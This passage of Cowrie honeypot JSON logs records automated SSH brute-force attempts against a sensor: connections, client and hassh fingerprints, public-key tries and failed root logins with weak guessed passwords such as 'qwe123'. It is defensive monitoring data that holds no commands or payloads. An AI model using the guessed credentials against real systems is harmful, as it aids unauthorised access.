sa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:30.273596Z","src_ip":"199.127.63.58","session":"cf339b110e54","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:0a:5e:c7:bc:2f:26:b2:d0:0c:90:1e:b6:9f:5e:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCg9izqNlpnByTC+nA9TwqHce0unlaxXwNoqxukt3TARt8cXdJXYjNBDf+BJIyvHXFY3V+hzkd3z+ScWuEoE9JkvhDdZvuxv0S3MKGGbi0qgPBqOmzsMOjNiK6fYWTSoCS60fnL4E74S8xQ56VZ+ICmACtrBE2KeTa4g0rSDpDRCFbzZ9Ppk8kOuWTb66s3c5TiB63exDY6U56d3bjUcBCOzOJc4+tafCCy+pm5c2sgTxCTzD4uuP8jF75jqDicc5tnQL5g3dBPZt/OEyhP469pnH+t9QpR9j7kzuMikstWsHbBvCD2FzDO2CBIiVUR12p5eSPsy2ZO4gZ1B5XjTLlZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:0a:5e:c7:bc:2f:26:b2:d0:0c:90:1e:b6:9f:5e:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:30.519887Z","src_ip":"199.127.63.58","session":"cf339b110e54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:0a:5e:c7:bc:2f:26:b2:d0:0c:90:1e:b6:9f:5e:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCg9izqNlpnByTC+nA9TwqHce0unlaxXwNoqxukt3TARt8cXdJXYjNBDf+BJIyvHXFY3V+hzkd3z+ScWuEoE9JkvhDdZvuxv0S3MKGGbi0qgPBqOmzsMOjNiK6fYWTSoCS60fnL4E74S8xQ56VZ+ICmACtrBE2KeTa4g0rSDpDRCFbzZ9Ppk8kOuWTb66s3c5TiB63exDY6U56d3bjUcBCOzOJc4+tafCCy+pm5c2sgTxCTzD4uuP8jF75jqDicc5tnQL5g3dBPZt/OEyhP469pnH+t9QpR9j7kzuMikstWsHbBvCD2FzDO2CBIiVUR12p5eSPsy2ZO4gZ1B5XjTLlZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:30.524137Z","src_ip":"199.127.63.58","session":"cf339b110e54","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:b2:91:a7:95:ac:b6:68:92:45:15:78:16:15:60:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdctU9+xe2MDYzFdRMNIJ8fqXc/ZsvNiOBjUdZGjTgrUVuev31tiJoaAEEcEoqlcU8OZ5Iugqw6/BqC6Ybz7+RTvGAbM0OA68GBIzII7WkIAD8dgA4+WDMhrBcvSHRZTX/Vsdsm2hqtMy2AuncyFJkF3ryANVipEi6y2QA4lsYc7jo0lDhWipC0v+XZlJGam/+2iHDnp/d7uJlCrPqqsXokCluBCg/jQsouek25NSPPG3Kh8O0BQBB77m6w3nVOO57ARfnLTdMHQ/8K1YJ0WGxDVWLKKHhjSk8gfFWsp57A9hdW63e/saTRrIV+H/0LCrw0EYbI2FCxmrZ0S/QdWTt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:b2:91:a7:95:ac:b6:68:92:45:15:78:16:15:60:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:30.579730Z","src_ip":"199.127.63.58","session":"cf339b110e54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:b2:91:a7:95:ac:b6:68:92:45:15:78:16:15:60:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdctU9+xe2MDYzFdRMNIJ8fqXc/ZsvNiOBjUdZGjTgrUVuev31tiJoaAEEcEoqlcU8OZ5Iugqw6/BqC6Ybz7+RTvGAbM0OA68GBIzII7WkIAD8dgA4+WDMhrBcvSHRZTX/Vsdsm2hqtMy2AuncyFJkF3ryANVipEi6y2QA4lsYc7jo0lDhWipC0v+XZlJGam/+2iHDnp/d7uJlCrPqqsXokCluBCg/jQsouek25NSPPG3Kh8O0BQBB77m6w3nVOO57ARfnLTdMHQ/8K1YJ0WGxDVWLKKHhjSk8gfFWsp57A9hdW63e/saTRrIV+H/0LCrw0EYbI2FCxmrZ0S/QdWTt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:30.583511Z","src_ip":"199.127.63.58","session":"cf339b110e54","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:b5:4f:b2:b1:39:5d:57:5b:37:e1:90:0d:c3:44:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVgiUohYcu2TuPqb/WyhHQUqY+Mv1dQ2tLiSIdv9bAMa/6JHhTuSGzD39azv6j+TqMNwGdrATHwddoqpUtn6vN/YydE5Amqdr9YdBvsM8OWxNvf4xp99IaaLlclsjzvitG4Y8WG2QluqMCGZTLV4WbX2cmqwlfTTcyrqsxMiCl6wa5PnxDCuJayG8Wb7AAi2ekIFYShxU1AxIuxObSKLF1YpaTD0fDymL5ZjkpXY8eEBadCyq8KmMFv0DX8lYeA/8Vrt+0/WTqVuIrw0gLm0Z0Fauo7IslzaYaYPdQfEBo7h+gjb6AzU0xhAIsQxo3fF41LNF1z7a0mhxYV6zrQooL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:b5:4f:b2:b1:39:5d:57:5b:37:e1:90:0d:c3:44:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:30.640326Z","src_ip":"199.127.63.58","session":"cf339b110e54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:b5:4f:b2:b1:39:5d:57:5b:37:e1:90:0d:c3:44:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVgiUohYcu2TuPqb/WyhHQUqY+Mv1dQ2tLiSIdv9bAMa/6JHhTuSGzD39azv6j+TqMNwGdrATHwddoqpUtn6vN/YydE5Amqdr9YdBvsM8OWxNvf4xp99IaaLlclsjzvitG4Y8WG2QluqMCGZTLV4WbX2cmqwlfTTcyrqsxMiCl6wa5PnxDCuJayG8Wb7AAi2ekIFYShxU1AxIuxObSKLF1YpaTD0fDymL5ZjkpXY8eEBadCyq8KmMFv0DX8lYeA/8Vrt+0/WTqVuIrw0gLm0Z0Fauo7IslzaYaYPdQfEBo7h+gjb6AzU0xhAIsQxo3fF41LNF1z7a0mhxYV6zrQooL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:30.644025Z","src_ip":"199.127.63.58","session":"cf339b110e54","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:c3:0a:04:fd:36:e5:b8:08:ec:87:a5:ff:ab:3c:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKBRt9a5H5yNtKcxr2cvD8tjlbyvCKM0Sc0wafPSlJDrjm667GyJZCvibKW3BLRJ4ckcOkvZxcojqkJv74OV4uzBotBBJ9GoBbKtlleDc3KBtykaWPYNrAhLp3VSLkIr6V7suL3EWjTCl300dRPjGc0X/pyk8oh9ZBY6lMDHQNNAW5I/iq182Q6sqxKavWMMwm50ztWjbYcd40C6YUEiNjMc0+SLq4tsL+1Fi1ex6u3+lBdAqGw7HEY930SYhRrkWwopEYLIkDn/SydAeQmOeJN4Ci0yAhH2xth4C8/EqBNNCxJE9pDtt3ULZSRa3jD+xVb1SXlpT+knbovork8GXuet3ebp503/ulwc7+OsK8EFghw9W7asPVRWmNPTRQMqtH18dHe1lNCeMDn6D7D2JfahvysJc+644vHYRJI483ZYUczf1wzJfKKpSI50Ko8HUY1Gcx+OWzNHNSUWEQzHrl54d5rzPuLVD9dO6KLhURDNzkAn+HpCoIROcp69F6Et8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:c3:0a:04:fd:36:e5:b8:08:ec:87:a5:ff:ab:3c:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:30.698855Z","src_ip":"199.127.63.58","session":"cf339b110e54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:c3:0a:04:fd:36:e5:b8:08:ec:87:a5:ff:ab:3c:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKBRt9a5H5yNtKcxr2cvD8tjlbyvCKM0Sc0wafPSlJDrjm667GyJZCvibKW3BLRJ4ckcOkvZxcojqkJv74OV4uzBotBBJ9GoBbKtlleDc3KBtykaWPYNrAhLp3VSLkIr6V7suL3EWjTCl300dRPjGc0X/pyk8oh9ZBY6lMDHQNNAW5I/iq182Q6sqxKavWMMwm50ztWjbYcd40C6YUEiNjMc0+SLq4tsL+1Fi1ex6u3+lBdAqGw7HEY930SYhRrkWwopEYLIkDn/SydAeQmOeJN4Ci0yAhH2xth4C8/EqBNNCxJE9pDtt3ULZSRa3jD+xVb1SXlpT+knbovork8GXuet3ebp503/ulwc7+OsK8EFghw9W7asPVRWmNPTRQMqtH18dHe1lNCeMDn6D7D2JfahvysJc+644vHYRJI483ZYUczf1wzJfKKpSI50Ko8HUY1Gcx+OWzNHNSUWEQzHrl54d5rzPuLVD9dO6KLhURDNzkAn+HpCoIROcp69F6Et8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:30.703536Z","src_ip":"199.127.63.58","session":"cf339b110e54","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:10:ff:fe:08:4c:6e:b3:d5:f5:57:3e:70:b7:35:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuRqgT0jeE5ohDOhC6GmovWBulzSsekpoqhXHFVCYF+vXHgZV483LhNWnYSmmSRQekkn4ZxFvWabcynLFb6I5cs42svupT3SsofjR1n6oSyckFk5hpVYWl8c7zt9btrKb+FKB+SCwjR6vkC+SgXf/4PFDgYumAMZdfUaSZyZ+JiGv/6PzQ43978nXBczIwDxPVvzWaQ2Mc0+lM7baa//Yc0fCGYSN6OItcYeKaHGUJdFPzcZVULGVsVC5cSs5yJG9EltH7gtg2TB0M0PzQIbSVMhqBeuyVguv9nsn660M4kunLBz5YuqhTvwx0W/HCvHKlWxTTm3aODaMSOACkv6bgQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:10:ff:fe:08:4c:6e:b3:d5:f5:57:3e:70:b7:35:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:30.761449Z","src_ip":"199.127.63.58","session":"cf339b110e54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:10:ff:fe:08:4c:6e:b3:d5:f5:57:3e:70:b7:35:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuRqgT0jeE5ohDOhC6GmovWBulzSsekpoqhXHFVCYF+vXHgZV483LhNWnYSmmSRQekkn4ZxFvWabcynLFb6I5cs42svupT3SsofjR1n6oSyckFk5hpVYWl8c7zt9btrKb+FKB+SCwjR6vkC+SgXf/4PFDgYumAMZdfUaSZyZ+JiGv/6PzQ43978nXBczIwDxPVvzWaQ2Mc0+lM7baa//Yc0fCGYSN6OItcYeKaHGUJdFPzcZVULGVsVC5cSs5yJG9EltH7gtg2TB0M0PzQIbSVMhqBeuyVguv9nsn660M4kunLBz5YuqhTvwx0W/HCvHKlWxTTm3aODaMSOACkv6bgQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:30.765085Z","src_ip":"199.127.63.58","session":"cf339b110e54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:30.820683Z","src_ip":"199.127.63.58","session":"cf339b110e54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":47646,"dst_ip":"159.203.135.109","dst_port":22,"session":"5086d864b18a","protocol":"ssh","message":"New connection: 43.134.27.11:47646 (159.203.135.109:22) [session: 5086d864b18a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:37.432646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:37.437246Z","src_ip":"43.134.27.11","session":"5086d864b18a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:37.675009Z","src_ip":"43.134.27.11","session":"5086d864b18a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ylngylng","message":"login attempt [root/ylngylng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:38.655354Z","src_ip":"43.134.27.11","session":"5086d864b18a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:39.896136Z","src_ip":"43.134.27.11","session":"5086d864b18a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":53310,"dst_ip":"159.203.135.109","dst_port":22,"session":"6962c9ce1120","protocol":"ssh","message":"New connection: 43.173.89.56:53310 (159.203.135.109:22) [session: 6962c9ce1120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:40.845576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:40.849781Z","src_ip":"43.173.89.56","session":"6962c9ce1120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:40.917108Z","src_ip":"43.173.89.56","session":"6962c9ce1120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwerty123","message":"login attempt [root/123qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:41.222273Z","src_ip":"43.173.89.56","session":"6962c9ce1120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:42.293584Z","src_ip":"43.173.89.56","session":"6962c9ce1120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":54336,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7a7d4bfb24d","protocol":"ssh","message":"New connection: 43.153.39.191:54336 (159.203.135.109:22) [session: f7a7d4bfb24d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:45.870573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:45.875034Z","src_ip":"43.153.39.191","session":"f7a7d4bfb24d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:45.942681Z","src_ip":"43.153.39.191","session":"f7a7d4bfb24d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.73119854927063,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:46.149009Z","src_ip":"186.195.16.41","session":"dfe92a73103a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"tps","message":"login attempt [root/tps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:46.251048Z","src_ip":"43.153.39.191","session":"f7a7d4bfb24d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:47.321501Z","src_ip":"43.153.39.191","session":"f7a7d4bfb24d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":57928,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3e6a5bc2e40","protocol":"ssh","message":"New connection: 181.47.9.103:57928 (159.203.135.109:22) [session: a3e6a5bc2e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:54.563277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:54.567865Z","src_ip":"181.47.9.103","session":"a3e6a5bc2e40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:54.711151Z","src_ip":"181.47.9.103","session":"a3e6a5bc2e40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:55.315220Z","src_ip":"181.47.9.103","session":"a3e6a5bc2e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:56.460494Z","src_ip":"181.47.9.103","session":"a3e6a5bc2e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:04.939618Z","src_ip":"101.126.22.12","session":"0b6ed8f01fd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55426,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef83e08db6f1","protocol":"ssh","message":"New connection: 103.153.68.219:55426 (10.17.0.5:22) [session: ef83e08db6f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:29.126629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:29.131250Z","src_ip":"103.153.68.219","session":"ef83e08db6f1","protocol":"ssh"}
